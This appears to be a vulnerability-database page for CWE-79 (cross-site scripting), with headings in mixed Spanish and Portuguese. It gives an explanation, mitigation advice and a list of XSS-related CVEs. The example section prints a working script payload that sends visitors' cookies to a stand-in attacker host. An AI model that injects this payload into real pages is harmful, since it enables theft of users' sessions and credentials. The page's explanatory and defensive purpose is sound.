Fallos del tipo CWE-79

28.608 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-28556MEDIUMMagento Commerce DOM-based cross-site scripting (XSS) could lead to arbitrary javascript executionEPSS 1.4%CVE-2023-26842MEDIUMA stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the EPSS 1.4%CVE-2022-4092MEDIUMAn issue has been discovered in GitLab EE affecting all versions starting from 15.6 before 15.6.1. It was possible to create a malicious REAEPSS 1.4%CVE-2022-0385—Crazy Bone <= 0.6.0 - Unauthenticated Stored XSSEPSS 1.4%CVE-2024-26251MEDIUMMicrosoft SharePoint Server Spoofing VulnerabilityEPSS 1.4%CVE-2023-35393MEDIUMAzure Apache Hive Spoofing VulnerabilityEPSS 1.4%CVE-2023-29207HIGHImproper Neutralization of Script-Related HTML Tags (XSS) in the LiveTable MacroEPSS 1.4%CVE-2023-29202CRITICALorg.xwiki.platform:xwiki-platform-rendering-macro-rss Cross-site Scripting vulnerabilityEPSS 1.4%CVE-2021-3486—GLPi 9.5.4 does not sanitize the metadata. This way its possible to insert XSS into plugins to execute JavaScript code.EPSS 1.4%CVE-2020-10688—A cross-site scripting (XSS) flaw was found in RESTEasy in versions before 3.11.1.Final and before 4.5.3.Final, where it did not properly haEPSS 1.4%CVE-2022-2170—Microsoft Advertising Universal Event Tracking < 1.0.4 - Admin+ Stored Cross-Site ScriptingEPSS 1.4%CVE-2021-24241—Advanced Custom Field Pro < 5.9.1 - Reflected Cross-Site Scripting (XSS)EPSS 1.4%CVE-2021-32862HIGHnbconvert vulnerable to cross-site scripting (XSS) via multiple exploit pathsEPSS 1.4%CVE-2024-53442CRITICALwhapa v1.59 is vulnerable to Command Injection via a crafted filename to the HTML reports component.EPSS 1.4%CVE-2022-46769MEDIUMApache Sling App CMS: XSS in CMS Site Group DetailEPSS 1.4%CVE-2023-3550HIGHStored XSS leads to privilege escalation in MediaWiki v1.40.0EPSS 1.4%CVE-2021-28807HIGHPost-Authentication Reflected XSS Vulnerability in Q'centerEPSS 1.4%CVE-2017-12345—Multiple vulnerabilities in Cisco Data Center Network Manager (DCNM) Software could allow a remote attacker to inject arbitrary values into EPSS 1.4%CVE-2022-25307HIGHWP Statistics <= 13.1.5 Unauthenticated Stored Cross-Site Scripting via platformEPSS 1.4%CVE-2022-25306HIGHWP Statistics <= 13.1.5 Unauthenticated Stored Cross-Site Scripting via browserEPSS 1.4%